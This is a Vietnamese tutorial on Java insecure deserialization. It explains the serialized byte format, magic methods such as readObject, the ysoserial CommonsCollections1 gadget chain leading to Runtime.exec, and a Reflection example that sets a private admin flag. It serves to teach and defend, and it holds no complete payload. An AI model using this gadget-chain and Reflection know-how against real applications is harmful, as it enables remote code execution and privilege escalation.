
# Những điểu về lỗ hổng Java Deserialization vulnerability
**Trương Xuân Nhật**
## Mục lục
I. LÝ THUYẾT
1. Một số khái niệm cơ bản
2. Kiến thức nền
2.1 Serialization
2.2 Deserialization
2.3 Quá trình de/serialization trong java thực sự diễn ra như thế nào?
2.4 Serialize data
2.5 Java magic method
3. Insecure Deserialization là gì
4. Lý do lỗ hổng Insecure Deserialization phát sinh?
5. Hậu quả của Insecure Deserialization
6. Gadget chain là gì?
7. Java Reflection
8. SerializationDumper
9. Giới thiệu về Ysoserial
10. Công cụ Gadget Inspector
11. Cách ngăn chặn Java Deserialization vulnerability
II. DỰNG MÔI TRƯỜNG TEST
---
## I. LÝ THUYẾT
### 1. Một số khái niệm cơ bản
Dưới đây là một số khái niệm mình sẽ nêu ra trước khi vào bài:
* **Source**: Là điểm bắt đầu của gadgetchain. Khi deser, java sẽ gọi method readObject() của source Object.
* **Sink**: Là điểm cuối của gadgetchain. Là nơi đến các method hữu ích mà mình mong muốn để có thể RCE, writefile,...
* **Reflection in java**: Đây là một api của java cho phép truy cập các thông tin của đối tượng(tên class, các field, các method) và chỉnh sửa các field đối tượng(kể cả các field private) trong quá trình runtime. (for more detail:[Reflection in Java](https://www.geeksforgeeks.org/java/reflection-in-java/), [tsublogs](https://tsublogs.wordpress.com/2023/02/15/javasecurity101-1-java-reflection/), [oracle](https://www.oracle.com/technical-resources/articles/java/javareflection.html), [Field](https://docs.oracle.com/javase/8/docs/api/java/lang/reflect/Field.html), [Object](https://docs.oracle.com/javase/8/docs/api/java/lang/Object.html), [Class](https://docs.oracle.com/javase/8/docs/api/java/lang/Class.html)
* **Method call**: method A gọi method B, method A -> method B
* **Gadgetchain**: là luồng thực thi, là kết quả khi ta ghép các method call, các field lại với nhau từ source đến sink, tạo ra được luồng thực thi mà mình mong muốn.(for more detail:[Gadget chains](https://portswigger.net/web-security/deserialization/exploiting#gadget-chains))
### 2. Kiến thức nền
Sau khi biết một số khái niệm cơ bản và muốn đi tiếp chủ đề này, chúng ta quay lại và tìm hiểu khái niệm về **Serialization/Deserialization** trong java và tại sao nó lại cần thiết.
#### 2.1 Serialization

##### Khái niệm
Serialization là cơ chế chuyển đổi cấu trúc dữ liệu (data structure) hoặc trạng thái của object (object states) trở thành luồng byte (byte streams), byte streams có thể được lưu vào file, bộ nhớ đệm (memory buffering), database hoặc truyền đi qua network. Mảng byte này đại diện cho class của object, phiên bản của object, và trạng thái của object.

Tham khảo:[geeksforgeeks](https://www.geeksforgeeks.org/java/serialization-and-deserialization-in-java/), [oracle](https://docs.oracle.com/javase/8/docs/api/java/io/Serializable.html),[Java Serialization](https://www.baeldung.com/java-serialization)
##### Đặc điểm của Serialization
* Chỉ các object của các class được implements từ interface Serializable mới có thể được đưa vào quá trình Serialization. Nhưng nếu superclass là Serializable thì các lớp con của nó có thể đưa vào quá trình Serialization.
* Khi serialize bất kỳ object nào mà nó có chứa tham chiếu đến object khác thì Java serialization sẽ serialize luôn cả object đó (nếu object được tham chiếu không implement the java.io.Serializable interface thì java.io.NotSerializableException sẽ xảy ra
* Bên trong class, các dữ liệu có non-access modifier là static và transient sẽ không được lưu vào object states khi serialize.
##### Lý do cần Serialization
Serialization trong Java là một cơ chế quan trọng giúp chuyển đổi đối tượng (object) thành chuỗi byte, cho phép lưu trữ và truyền tải dữ liệu một cách hiệu quả. Khi một chương trình Java cần ghi lại trạng thái của đối tượng để sử dụng sau này — chẳng hạn như lưu vào file, cơ sở dữ liệu, hoặc gửi qua mạng — quá trình serialization sẽ đảm nhận việc mã hóa toàn bộ thông tin của đối tượng đó thành một định dạng tuần tự. Quá trình ngược lại, được gọi là deserialization, sẽ phục hồi lại đối tượng từ chuỗi byte đã lưu.
Cơ chế này đặc biệt cần thiết trong các ứng dụng phân tán (distributed systems), nơi mà các đối tượng cần được truyền giữa client và server thông qua socket hoặc giao thức HTTP. Ngoài ra, trong các công nghệ như Java RMI (Remote Method Invocation) hoặc hệ thống message queue như JMS, serialization là nền tảng cho việc chia sẻ và xử lý dữ liệu qua nhiều thành phần hệ thống. Nhờ đó, serialization giúp đảm bảo tính tương tác, tính di động và sự bền vững của dữ liệu trong các ứng dụng Java hiện đại.
Một số tác dụng chính của Serialization bao gồm:
* Truyền dữ liệu qua mạng:
Serialization cho phép các đối tượng Java được chuyển đổi thành chuỗi byte có thể gửi đi qua mạng, từ đó hỗ trợ việc giao tiếp giữa các hệ thống phân tán.
* Lưu trữ trạng thái của đối tượng:
Trạng thái của một đối tượng có thể được lưu vào file hoặc cơ sở dữ liệu dưới dạng tuần tự hóa, sau đó được phục hồi lại khi cần.
* Chia sẻ dữ liệu giữa các ứng dụng:
Dữ liệu serialize có thể dễ dàng chia sẻ giữa các thành phần trong cùng một ứng dụng hoặc giữa các ứng dụng độc lập.
* Hỗ trợ RMI (Remote Method Invocation):
Java sử dụng serialization để truyền đối tượng giữa client và server trong mô hình gọi phương thức từ xa, giúp các ứng dụng có thể giao tiếp qua mạng một cách dễ dàng.
* Duy trì trạng thái ứng dụng:
Trong những trường hợp ứng dụng cần tạm dừng và khôi phục, serialization cho phép lưu lại trạng thái hiện tại của đối tượng để tiếp tục xử lý sau đó.
#### 2.2 Deserialization

##### Khái niệm
Deserialization Là quá trình chuyển đổi dữ liệu đã được serialization trở lại thành đối tượng Java. Dữ liệu được đọc từ nguồn như mạng hoặc file, sau đó được chuyển đổi thành đối tượng.
##### Đặc điểm của Deserialization
Khi 1 object được deserialized, constructor của object đó sẽ không bao giờ được gọi.
Tham khảo:[Pratik T](https://medium.com/@pratik.941/serialization-and-deserialization-in-java-6dbd11fd31b3)
#### 2.3 Quá trình de/serialization trong java thực sự diễn ra như thế nào?
Khi chúng ta đã có kiến thức về serialization một đối tượng trong java rồi thì chúng ta sẽ đi tiếp quá trình serialization và deserialization thực sự diễn ra như thế nào.
##### Quá trình serialization trong java diễn ra như thế nào
* Như chúng ta đã biết sau khi serialize thì chúng ta có được byte streams, và ta có thể đọc được nội dung byte streams bằng cách sử dụng 1 số công cụ như hex-editor để ta có thể thấy dữ liệu là dạng chuỗi nhị phân (binary string).(đọc thêm ở [đây](https://docs.oracle.com/javase/8/docs/api/java/io/ObjectStreamConstants.html) để hiểu rõ hơn)
* Trước tiên chúng ta xem qua thuật toán serialization:
- Viết ra siêu dữ liệu (metadata - mô tả) của lớp được liên kết với đối tượng.
- Đệ quy viết ra mô tả của các lớp cha cho đến khi tìm thấy java.lang.object.
- Khi kết thúc việc viết thông tin siêu dữ liệu, nó sẽ bắt đầu với dữ liệu thực tế được liên kết với đối tượng. Nhưng lần này, bắt đầu từ lớp cha trên cùng.
- Đệ quy ghi dữ liệu liên quan đến đối tượng, bắt đầu từ lớp cha nhỏ nhất đến lớp lớn nhất.
* Để hiểu rõ hơn mình sẽ ví dụ với serialize data này và đoạn code này của bạn [endy](https://hackmd.io/@endy/r1sYTUYOh?stext=2315%3A45%3A0%3A1752726947%3AwE92du) rồi chúng ta cùng phân tích.
```java
// User.java
import java.io.Serializable;
public class User implements Serializable {
private String name;
private int age;
public User() {
}
public User(String name, int age) {
this.name = name;
this.age = age;
}
...
}
```
```java
// main.java
import java.io.*;
public class Main {
public static void main(String[] args) {
User a = new User("endy", 20);
// Serialize data
try {
FileOutputStream fileOut = new FileOutputStream("data.ser");
ObjectOutputStream objectOut = new ObjectOutputStream(fileOut);
objectOut.writeObject(a);
objectOut.close();
fileOut.close();
System.out.println("Object serialized and saved to data.ser");
} catch (Exception e) {
e.printStackTrace();
}
// Deserialize data
try {
FileInputStream fileIn = new FileInputStream("data.ser");
ObjectInputStream objectIn = new ObjectInputStream(fileIn);
User deserializedObject = (User) objectIn.readObject();
objectIn.close();
fileIn.close();
// Print the deserialized object
System.out.println("Deserialized Object:");
System.out.println("Name: " + deserializedObject.getName());
System.out.println("Age: " + deserializedObject.getAge());
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}
```
đoạn code trên serialize object user thành file data.ser và sau đấy chúng ta xem file dạng binary string ta thấy được dữ liệu như này.

* Lúc này ta đi phân tích kĩ hơn, ta có được:
> [color=#1e90ff]AC ED: STREAM_MAGIC. Chỉ định rằng đây là một giao thức serialization
> 00 05: STREAM_VERSION. Đây là phiên bản của serialization
> 0x73: TC_OBJECT. Chỉ định rằng đây là một đối tượng mới
Bước đầu tiên của thuật toán serialization là viết mô tả của lớp được liên kết với một đối tượng. Ở ví dụ trên ta thấy được thuật toán bắt đầu với SerialTest để chúng ta biết được tên class, serialVersionUID.
> [color=#1e90ff] 0x72: TC_CLASSDESC. Chỉ định rằng đây là một lớp mới
> 00 04: Độ dài của tên lớp
> 55 73 65 72: User, tên của lớp.
> 1C 54 11 43 62 88 06 36: serialVersionUID, định danh phiên bản serialization của lớp này là 0x1C54114362880636.
> 0x02: Various flags. Cờ này nói rằng đối tượng hỗ trợ serialization.(SC_SERIALIZABLE)
> 00 02: Số trường trong lớp này là 2.
Tiếp theo, thuật toán sẽ viết mô tả cho trường int age = 20(Field #1)
> [color=#1e90ff] 0x49: Mã loại trường: 49 đại diện cho "I", viết tắt của Int.
> 00 03: Chiều dài của tên trường.
> 61 67 65: age, tên của trường.
Và sau đó thuật toán viết mô tả trường tiếp theo là name=endy(Field #2)
> [color=#1e90ff] 0x4C : 'L' mã kiểu field object/reference.
> 00 04: Chiều dài tên trường = 4.
> 6E 61 6D 65: name, tên của trường.
> 0x74: TC_STRING – bắt đầu chữ ký JVM của field kiểu object
> 00 12: Độ dài chuỗi = 18
> 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B: Chữ ký JVM chuẩn cho String class(Ljava/lang/String;)
> 0x78: TC_ENDBLOCKDATA. Kết thúc block dữ liệu mô tả.
> 0x70: TC_NULL. Đại diện cho thực tế là không còn lớp cha phía trên nữa vì ta đã đạt đến đỉnh của hệ thống phân cấp lớp.
> 00 00 00 14: giá trị của field int age = 20.
> 0x74: TC_STRING. Tạo chuỗi mới giá trị của trường name.
> 00 04: Độ dài của trường name.
> 65 6E 64 79: "endy", giá trị của trường name
##### Quá trình deserialization trong java diễn ra như thế nào
Sau khi biết được chi tiết quá trình serilaization hoạt động rồi, giờ chúng ta sẽ đi ngược lại quá trình đó diễn ra như thế nào và biết được tại sao JVM tạo được đối tượng mà không gọi constructor.
Đây là cách nó diễn ra:
* Bất kì lớp cha nào của đối tượng phải serializable và nếu không serializable thì phải tồn tại constructor mặc định (không tham số ).
* Trong quá trình deserializaion, lớp cha của lớp chứa đối tượng sẽ được tìm kiếm đầu tiên cho đến khi tìm thấy 1 lớp không được serializable và tồn tại constructor mặc định. JVM sẽ khởi tạo đối tượng rỗng của lớp đó.
* Nếu tất cả các lớp cha đều được serializble thì JVM sẽ tiếp cận lớp Object và tạo đối tượng của lớp đó.
* Sau khi gọi constructor mặc định của lớp đó JVM sẽ không gọi bất kì constructor nào khác nữa.
* Sau khi tạo đối tượng rỗng, JVM sẽ thiết lập trường static của nó trước, sau đó đọc chuỗi byte và sử dụng metadata của lớp để thiết lập kiểu dữ liệu cũng như các thông tin khác của đối tượng.
* Tiếp theo JVM gọi phương thức readObject() mặc định(nếu chưa bị ghi đè ngược lại sẽ gọi phương thức readObject() đã được ghi đè ) có nhiệm vụ đặt các giá trị từ byte stream vào đối tượng.
* Sau khi readObject() hoàn thành thì đối tượng mới được tạo ra. Lưu í cần phải ép kiểu về đối tượng chúng ta serialized.
Nếu áp dụng với ví dụ trên thì sau khi quá trình Serialize rồi thì Deserialize nó sẽ như này:
* JVM đọc phần đầu stream
> [color=#1e90ff]AC ED: STREAM_MAGIC – báo hiệu đây là một file serialized Java object
00 05: STREAM_VERSION – version 5 của Java Serialization
* JVM gặp TC_OBJECT → biết rằng đang deserialize một object mới
> [color=#1e90ff]0x73: TC_OBJECT
* JVM gặp TC_CLASSDESC → mô tả class được serialize
> [color=#1e90ff]0x72: TC_CLASSDESC
00 04: độ dài tên class là 4 bytes
55 73 65 72: ASCII = User
1C 54 11 43 62 88 06 36: serialVersionUID của class User
0x02: Flags – class này implements Serializable
00 02: số lượng field = 2
* JVM đọc metadata của từng field
> [color=#1e90ff]Field 1:
> [color=#1e90ff]0x49: mã kiểu I – int
>00 03: độ dài tên field = 3
>61 67 65 → "age"
Field 2:
> [color=#1e90ff]0x4C: mã kiểu L – object
00 04: độ dài tên field = 4
6E 61 6D 65 → "name"
0x74 00 12 → TC_STRING với độ dài 18 bytes
4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B → "Ljava/lang/String;"
* JVM gặp TC_ENDBLOCKDATA và TC_NULL
> [color=#1e90ff]0x78: kết thúc block dữ liệu metadata
0x70: không có superclass (ngoài Object, vốn không được serialize)
* JVM khởi tạo đối tượng User
**Giai đoạn 1**: Tạo object rỗng
Vì User implements Serializable, nên JVM sẽ bỏ qua constructor
JVM tìm đến lớp cha không serializable (trong trường hợp này là Object) và gọi default constructor của Object để tạo object.
**Giai đoạn 2**: Ghi dữ liệu vào object
JVM đọc tiếp dữ liệu:
> [color=#1e90ff]00 00 00 14 → 20 (giá trị của field `age`)
0x74 00 04 → TC_STRING có độ dài 4:
65 6E 64 79 → "endy" → giá trị của field name
* Kết quả sau deserialization:
```java
User deserializedObject = (User) objectIn.readObject();
System.out.println("Name: " + deserializedObject.getName()); // endy
System.out.println("Age: " + deserializedObject.getAge()); // 20
```
Tham khảo:[The Java serialization algorithm revealed](https://www.infoworld.com/article/2072752/the-java-serialization-algorithm-revealed.html), [Oracle](https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html)
#### 2.4 Serialize data
Nãy giờ chúng ta đã thấy được quá trình de/serialization trong java, các dữ liệu có được sau quá trình serialization và sẽ sử dụng khi bắt đầu quá trình deserialization gọi là serialize data. Chúng ta có thể không cần hiểu hết các khái niệm và định nghĩa của serialize data để biết được nội dung của nó vì bây giờ có 1 số tool sẽ làm điều đó cho chúng ta mà xí nữa mình sẽ giới thiệu, nhưng chúng ta phải biết 1 số thứ cơ bản của serialize data.

* Đầu tiên chúng ta đến với file signature. Khi một đối tượng trong Java được tuần tự hóa (serialized) và ghi ra file hoặc truyền qua mạng, dữ liệu kết quả sẽ bắt đầu bằng một chuỗi byte đặc biệt gọi là file signature hay magic number. Đây là dấu hiệu nhận biết một luồng dữ liệu được tuần tự hóa theo chuẩn Java Serialization.(mình đã giải thích rõ hơn ở phần 2.3, ở đây mình chỉ định nghĩa cơ bản)
* Signature này được sử dụng bởi Java Virtual Machine (JVM) và các công cụ phân tích để xác định và xử lý dữ liệu đã serialize. Nếu một file không có định danh này ở phần đầu, JVM sẽ không coi đó là một serialized object hợp lệ.

* Sau phần file signature, Java Serialization stream sẽ chứa thông tin về tên lớp (class name) của đối tượng được tuần tự hóa. Phần này nằm trong Class Descriptor, mô tả lớp của đối tượng.
* Thông tin class name giúp JVM biết được kiểu đối tượng đang được deserialize và đảm bảo đối tượng tái tạo đúng lớp ban đầu. Nếu không khớp tên lớp, deserialization sẽ thất bại hoặc ném lỗi `ClassNotFoundException`.

* Sau khi JVM ghi tên lớp vào luồng byte trong quá trình serialize, nó tiếp tục ghi thông tin chi tiết về các thuộc tính (fields) của lớp. Mỗi field sẽ có:
```markdown
| Thành phần | Mô tả |
| ------------------------------------ | ------------------------------------------------------------------------- |
| **Field type code** | Ký hiệu 1 byte đại diện cho kiểu dữ liệu (ví dụ: `I` = int, `L` = object) |
| **Field name length + name** | Độ dài và tên thuộc tính (UTF-8) |
| **Field class name** (nếu là object) | Tên lớp nếu field có kiểu là object |
```

* Trong Java Serialization, mỗi thuộc tính (field) của một lớp được lưu trữ kèm theo một mã ký hiệu 1 byte gọi là Field Type Code, dùng để chỉ định kiểu dữ liệu của thuộc tính đó. Điều này giúp cho Java Virtual Machine (JVM) hiểu được cách giải mã dữ liệu từ byte stream khi deserialize.
* Bảng Field Type Code
```markdown
| Ký hiệu | Kiểu dữ liệu Java cơ bản | Ghi chú |
|--------|-------------------------------|-----------------------------|
| B | `byte` | |
| C | `char` | |
| D | `double` | |
| F | `float` | |
| I | `int` | |
| J | `long` | |
| S | `short` | |
| Z | `boolean` | |
| L | Object (tham chiếu lớp) | Theo sau là tên lớp, kết thúc bằng `;` |
| [ | Mảng (array) | Theo sau là kiểu phần tử |
```

* Sau khi ghi thông tin về kiểu dữ liệu (Field Type Code) và tên attribute, Java Serialization sẽ tiếp tục lưu giá trị (value) tương ứng của mỗi thuộc tính theo thứ tự đã khai báo trong class (tính cả các thuộc tính kế thừa).
* Với cách ghi giá trị, với kiểu dữ liệu nguyên thủy (primitive). Thì Giá trị được ghi trực tiếp theo đúng kích thước kiểu dữ liệu:
```markdown
| Kiểu | Kích thước | Ghi chú |
| ------- | ---------- | ----------------------------- |
| int | 4 byte | Dạng big-endian (MSB trước) |
| long | 8 byte | |
| short | 2 byte | |
| byte | 1 byte | |
| char | 2 byte | Mã Unicode |
| float | 4 byte | IEEE 754 |
| double | 8 byte | IEEE 754 |
| boolean | 1 byte | `0x00` = false, `0x01` = true |
```
* Với kiểu đối tượng (object hoặc mảng)
> [color=#1e90ff]
> * Nếu giá trị là null → ghi TC_NULL (0x70)
>* Nếu là object chưa ghi trước đó → ghi mô tả đối tượng và giá trị của nó
>* Nếu là object đã xuất hiện trước → ghi TC_REFERENCE kèm theo handle reference
* Với các object tùy chỉnh:
Nếu là class do người dùng định nghĩa và có implements Serializable, toàn bộ trạng thái của object sẽ được serialize đệ quy theo thứ tự field.

* **serialVersionUID** là một giá trị *long* đặc biệt được Java sử dụng trong quá trình deserialization để xác định phiên bản của một lớp Serializable. Mỗi đối tượng được ghi xuống dưới dạng serialized sẽ kèm theo **serialVersionUID** của class tại thời điểm đó.
* Khi deserialization, JVM sẽ so sánh **serialVersionUID** trong dữ liệu với UID của class hiện tại. Nếu không khớp → JVM ném lỗi InvalidClassException, ngăn quá trình khôi phục object.
* Vì vậy khi tấn công Java Deserialization:
> [color=#1e90ff]
> * Attacker phải dùng đúng class đã tồn tại trong classpath của ứng dụng mục tiêu.
>* Và class đó phải có serialVersionUID trùng khớp với dữ liệu serialized mà attacker gửi.
>* Điều này rất quan trọng khi xây dựng gadget chain, vì chỉ cần sai UID, chuỗi tấn công sẽ bị JVM từ chối.
-> Do đó, việc xác định đúng serialVersionUID là điều kiện bắt buộc để pentester có thể khai thác lỗ hổng Java Deserialization thành công.
Tham khảo: [gyyyy@猎户攻防实验室](https://paper.seebug.org/792/)
#### 2.5 Java magic method

Trong Java, magic method là những phương thức đặc biệt được JVM hoặc framework tự động gọi trong một số tình huống cụ thể, không cần gọi trực tiếp từ lập trình viên. Khi một đối tượng được serialize/deserialize, JVM sẽ tìm kiếm và gọi các phương thức như readObject() hoặc readResolve() để xử lý dữ liệu.
> [color=#ff0000] ✅ Với **developer**: giúp tùy chỉnh hành vi object khi ghi/đọc từ stream.
❗ Với **pentester**: đây là nơi lý tưởng để ẩn payload, thực thi code nguy hiểm hoặc kích hoạt gadget chain.
Một số magic method tiêu chuẩn trong Java Serialization
```markdown
| Phương thức | Thời điểm được gọi | Vai trò chính |
| ---------------- | -------------------------------------------------- | -------------------------------------------------------------------- |
| readObject() | Khi object được deserialize từ `ObjectInputStream` | Tùy chỉnh cách đọc object, có thể thực thi logic tùy ý |
| writeObject() | Khi object được serialize vào ObjectOutputStream | Tùy chỉnh cách ghi dữ liệu |
| readResolve() | Sau khi object đã deserialize xong | Cho phép thay thế object vừa đọc bằng object khác (singleton, proxy) |
| writeReplace() | Trước khi serialize | Cho phép thay object bằng một object khác khi ghi |
```
Các magic method khác:
```markdown
| Phương thức | Điều kiện kích hoạt | Nguy cơ tiềm ẩn |
| ------------------------- | ---------------------------------------------------------- | ----------------------------------------------------------------------- |
| finalize() | JVM gọi khi object bị GC (garbage collected) | Có thể ẩn payload thực thi muộn, hoặc gây memory leak |
| toString() | Gọi khi in object, ghi log, debug | Có thể thực thi code khi object bị ghi log hoặc hiển thị |
| equals() / hashCode() | Gọi khi so sánh object, dùng làm key trong Map/Set | Có thể bị kích hoạt khi deserialize object đưa vào tập dữ liệu |
| run() / call() | Gọi khi object được dùng trong `Thread`, `ExecutorService` | Payload có thể thực thi khi object được submit |
| ClassName() | Chỉ được gọi khi `new`, **không được gọi khi deserialize** | Nhưng đôi khi vẫn bị hiểu nhầm là magic method nếu dùng gadget có `new` |
```
### 3. Insecure Deserialization là gì
Insecure Deserialization (Giải tuần tự không an toàn) hay còn gọi là Object injection là một lỗ hổng bảo mật xảy ra khi ứng dụng chấp nhận dữ liệu được serialize (tuần tự hóa) từ người dùng mà không xác minh, kiểm soát hoặc lọc hợp lệ trước khi deserialize (giải tuần tự hóa).
Nói cách khác, kẻ tấn công có thể gửi một object đã bị chỉnh sửa hoặc crafted (tùy chỉnh độc hại) đến server. Nếu ứng dụng deserialize dữ liệu đó mà không kiểm tra kỹ, code nguy hiểm bên trong object có thể được thực thi.
Tham khảo:[portswigger](https://portswigger.net/web-security/deserialization#what-is-insecure-deserialization), [owasp](https://owasp.org/www-community/vulnerabilities/Insecure_Deserialization), [A8: Insecure Deserialization 2017 OWASP](https://www.wallarm.com/what/a8-insecure-deserialization-2017-owasp)
### 4. Lý do lỗ hổng Insecure Deserialization phát sinh?
1. Tin tưởng dữ liệu không kiểm soát được (Trusting Untrusted Data)
Rất nhiều ứng dụng **deserialize** dữ liệu do client gửi lên mà không kiểm tra trước. Theo PortSwigger:`“Insecure deserialization typically arises because there is a general lack of understanding of how dangerous deserializing user-controllable data can be.”`
Các developer thường tin rằng việc lập trình bằng ngôn ngữ có serialize nhị phân thì không dễ bị tấn công, nhưng thực tế không như vậy.
2. Quá trình **deserialize** gọi tự động các method nguy hiểm
Ngay khi JVM bắt đầu deserialize, các magic method như `readObject()`, `readResolve()`, `writeReplace()` có thể được gọi — trước khi bất cứ validation nào được thực hiện.
Cú pháp `readResolve()` hoặc `readObject()` chứa logic tùy chỉnh có thể **chứa lệnh nguy hiểm**, và nó sẽ chạy **ngay tại thời điểm đó**.
3. Thư viện bên thứ 3 chứa gadget sẵn sàng lợi dụng (Gadget availability)
Các framework Java như **Apache Commons, Spring, Groovy**... chứa sẵn các class có các method có thể được dùng trong gadget chain để kích hoạt payload – ví dụ `InvokerTransformer.invoke()`.
Do môi trường phụ thuộc đa dạng, attacker có thể tìm class có `readObject()` thực thi và chain thành RCE.
4. Khó kiểm soát whitelist/validation sau deserialize
Dù có dùng whitelist, việc kiểm soát tất cả các class hoặc logic phức tạp trong `readObject()` rất dễ bị bỏ sót. Theo PortSwigger:`“Ideally, user input should never be deserialized at all… it is virtually impossible to implement validation or sanitization to account for every eventuality.”`
5. Lỗi từ việc phụ thuộc vào serialization nhị phân
Các ngôn ngữ như Java, PHP (serialize), Python (pickle) dùng nhị phân, thường bị tin tưởng là “bí mật” khó đọc hoặc thay đổi. Nhưng attacker có thể dùng công cụ như **ysoserial, Burp** để craft payload nhị phân rất dễ dàng .
Tham khảo:[Saniye Nur](https://snynr.medium.com/understanding-insecure-deserialization-risks-and-mitigations-e726dcf624e7), [Abhay Bhargav](https://www.appsecengineer.com/blog/what-is-insecure-deserialization)
### 5. Hậu quả của Insecure Deserialization
1. Remote Code Execution (RCE)
Khi ứng dụng deserialize dữ liệu từ nguồn không kiểm soát, attacker có thể gửi payload chứa **gadget chain**, qua các magic method như `readObject()` để thực thi mã tùy ý. Theo OWASP, đây là một trong các hậu quả nghiêm trọng nhất của lỗi này.
2. Denial-of-Service (DoS)
**Deserialization** phức tạp có thể tốn tài nguyên đáng kể. Attacker có thể gửi một đối tượng phức tạp hoặc mảng lồng nhau không hồi kết để khiến server bị tắc nghẽn, crash hoặc ngắt dịch vụ.
3. Privilege Escalation (tăng quyền)
Dữ liệu serialized chứa các trường nhạy cảm như role, token... nếu bị chỉnh sửa, attacker có thể tự nâng quyền, ví dụ chuyển từ `isAdmin=false` thành true để truy cập admin panel .
4. Logic Manipulation & Access Control Bypass
Object injection có thể thay đổi hành vi bên trong ứng dụng. Ví dụ, thuộc tính avatar_link nằm trong session cookie có thể được chỉnh sửa để xóa file quan trọng
5. Object Injection & Tài nguyên trái phép
Attacker có thể inject các object không mong muốn vào ứng dụng, có thể gây rò rỉ dữ liệu, kích hoạt chức năng chưa public, hoặc phá vỡ logic luồng xử lý của ứng dụng
```markdown
| Hậu quả | Mô tả |
| --------------------------------- | -------------------------------------------------------- |
| RCE | Cho phép attacker thực thi mã tùy ý trên máy chủ |
| DoS | Gây treo server hoặc phá hủy dịch vụ |
| Privilege Escalation | Từ user thường lên admin, hoặc vượt rào hạn mức truy cập |
| Bypass Access Control / Logic | Thay đổi logic / bypass chức năng bảo mật ứng dụng |
| Object Injection | Gửi object trái phép để khai thác tính năng / gây rò rỉ |
```
### 6. Gadget chain là gì?
**Gadget Chain** (hay chuỗi gadget) là một **dãy gọi phương thức tự động** được kích hoạt chính trong quá trình **deserialization**. Khi attacker gửi một đối tượng được crafted đúng cách đến ứng dụng có lỗ hổng *Insecure Deserialization*, JVM sẽ tự động gọi một loạt phương thức trên các class có sẵn trong classpath của ứng dụng – từ **source** (thường là ```readObject())``` đến sink (ví dụ ```Runtime.exec)```, tạo nên chuỗi tương tác dẫn đến **Remote Code Execution (RCE)** hoặc các hậu quả khác.
> [color=#ff0000]Đây không phải là một lớp độc lập, mà là sự **tận dụng lại các đoạn code sẵn có** – gọi là **gadgets** – kết nối thành chuỗi (chain) để đạt mục đích tấn công.
Ở đây mình sẽ ví dụ một chuỗi gadget điển hình trong ysoserial là **CommonsCollections1**:
> [color=#1e90ff]
> - Bắt đầu từ ```readObject()``` lớp Hashtable
>- Chuyển tới ```AbstractMap.equals()```
>- Rồi qua LazyMap.get()
>- Cuối cùng gọi ```InvokerTransformer.transform()``` → thực thi ```Runtime.exec()```
Vì đây là lỗi chúng ta sử dụng các đoạn code có sẵn trong ứng dụng/library nên lúc này sẽ gây ra nhiều nguy hiểm tiềm tàng cho hệ thống đó.
> [color=#ff0000]**Nguy cơ tiềm tàng của lỗi này nằm ở chỗ:**
> - Không cần class custom nguy hiểm: Chỉ dựa trên class có sẵn trong dependency.
> - Phát hiện nhanh chóng: Hàng loạt gadget chain đã được công khai (CommonsCollections, Spring, Groovy...) và tích hợp sẵn trong ysoserial.
> - Khó ngăn chặn: Validator thông thường không thể xét hết tất cả các chain có thể được xây dựng.
Tham khảo:[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet), [synacktiv](https://www.synacktiv.com/en/publications/java-deserialization-tricks)
### 7. Java Reflection
Tiếp đến chúng ta đến với một phần quan trọng không kém khi nói đến lỗi Java Deserialization mà không thể không nhắc tới Reflection. Vậy **Reflection** là gì và có tác dụng gì.
Đầu tiên nói về định nghĩa **Reflection**, **Reflection** trong Java cho phép chương trình tự **quan sát (introspect)** và **can thiệp nội bộ** của các lớp, phương thức, trường (fields) ngay cả khi chúng được khai báo là **private hoặc ở các package khác**.(Theo [Oracle](https://owasp.org/www-chapter-stuttgart/assets/slides/2024-12-10_Exploiting_deserialization_vulnerabilities_in_recent_Java_versions.pdf?utm_source=chatgpt.com), reflection cho phép “examine or introspect upon itself, and manipulate internal properties”)
Còn về hướng Security thì Java Reflection thì thường dùng để bypass filter/sandbox, ví dụ như khi ta đã có 1 chain có thể dẫn tới RCE nhưng có 1 property private của một class nào đó, lúc này chúng ta sẽ tận dụng API **Reflection** để set lại lại các giá trị của private properties của class trong quá trình Runtime.
Từ khái niệm trên ta có thể lợi dụng **Reflection** trong lỗi **Java Deserialization** như thế này:
1. **Kích hoạt magic method ```readObject()``` sử dụng Reflection:** attacker dùng Reflection để tiếp cận RCE sink khi object được deserialize.
2. **Khai thác class có constructor private**: Ví dụ payload có thể override trường chứa URL hoặc lệnh (cmd), rồi khi method của object thực thi, code tấn công sẽ được gọi.
3. Kết hợp với gadget chain: Các class như ```TemplatesImpl``` dùng Reflection để load bytecode; attacker lợi dụng deserialization để inject bytecode đó → **RCE**.
Để cho mọi người dễ hình dung hơn thì ví dụ chúng ta có đoạn code sau đây là giả định class **User** của một hệ thống.
```java
// Classe User.java
public class User {
private String username;
private boolean admin = false; // mặc định người dùng không phải admin
public User(String username) {
this.username = username;
}
public boolean isAdmin() {
return admin;
}
public String toString() {
return username + " (admin=" + admin + ")";
}
}
```
thì khi có đoạn code này xong thì chúng ta có tạo tài khoản **User** bình thường là chỉ cần đoạn code.
```java
// Khi đăng ký tài khoản:
User user = new User("attacker");
// Không hề có cách set admin = true
System.out.println(user); // attacker (admin=false)
```
Và lúc này chúng ta ví dụ muốn có thể tạo một acc admin, cụ thể ở đây là **User attacker thành admin**. thì chúng ta phải thay đổi được field private ```admin``` từ ```false``` thành ```true``` bẳng cách sử dụng **API REFLECTION**, bằng cách này chúng ta có thể **override** giá trị nhạy cảm một cách dễ dàng.
```java
import java.lang.reflect.Field;
public class ReflectionTest {
public static void main(String[] args) throws Exception {
User user = new User("attacker");
System.out.println("Before: " + user); // attacker (admin=false)
Field adminField = User.class.getDeclaredField("admin");
adminField.setAccessible(true); // bypass private
adminField.setBoolean(user, true); // gán true
System.out.println("After: " + user); // attacker (admin=true)
}
}
```
Này là mô phỏng tĩnh cho các bạn dễ hiểu, một chút nữa khi đến phần thực hành, mình sẽ chỉ rõ **REFLECTION** nằm ở đâu và trong quá trình **RUN TIME** chúng ta lợi dụng **REFLECTION** như thế nào.
